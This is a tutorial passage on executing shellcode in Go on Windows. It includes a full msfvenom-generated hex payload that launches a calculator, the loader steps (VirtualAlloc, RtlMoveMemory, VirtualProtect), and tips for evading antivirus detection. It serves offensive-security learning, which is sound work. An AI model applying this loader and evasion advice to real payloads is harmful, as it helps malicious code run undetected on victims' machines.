With all the knowledge we have it's now time to run some shellcode.
From ChatGPT : "Shellcode is a small piece of machine code typically used in the context of software exploits and malicious activities. It's called "shellcode" because it often provides a way to gain control over a computer system and execute arbitrary commands, effectively providing a shell (command-line interface) to an attacker."
To run shellcode in the current process the following windows APIs will be called:
(optional)
To generate shellcode we will use . The payload will not perform anything malicious but the behaviour is usually flagged by AV engines. It might be a good idea to add your working directory into the AV exception list. ()
Let's start constructing our code.
Shellcode Generation
For this example we will generate a shellcode that is used to pop a calculator. I am currently working on windows 11 x64 so adjust your payload accordingly.
On kali I ran the following command:
┌──(kali㉿kali)-[~]
└─$ msfvenom -f hex -p windows/x64/exec cmd=calc
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of hex file: 544 bytes
fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300
-f hex -> hex is the output format. hex will give me hex characters in a string
-p windows/x64/exec -> this is the payload. It executes a command in a x64 bit system
cmd=calc -> is the command to run. In our case a calculator
Go Program
Transform the shellcode from string to byte array
The shellcode in a string format is not useful to us. We have to turn the string into a byte array. Thankfully a package exists that could do the conversion for us.
Fun fact: Storing shellcode as a hex string helps evading static AV signatures (sometimes). Storing the shellcode in a byte slice will flag immediately (with most AVs)
We then have to allocate memory for our shellcode. For memory allocation we will use the VirtualAlloc API. This API exists in the windows package so we will go ahead to implement it.
lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0
dwSize: Will be the size of our shellcode
flAllocationType: We need to reserve and commit memory
flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtect.
Destination address is the address returned from the VirtualAlloc API
Source is a pointer, pointing at the beginning of our sc byte array
Length is the length of our shellcode
Since the RtlMoveMemory is not part of the windows package we will use the syscall package to import it manually.
modntdll := syscall.NewLazyDLL("Ntdll.dll")
procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")
procrtlMoveMemory.Call(addr,
uintptr(unsafe.Pointer(&sc[0])),
uintptr(len(sc)))
fmt.Println("[+] Wrote shellcode bytes to destination address")
Changing the Memory permissions to RX
Since we assigned the memory permissions to ReadWrite we have to change the permissions to RX. Otherwise our program will crash when trying to start a thread from that memory region.
To do this we need to call the VirtualProtect API.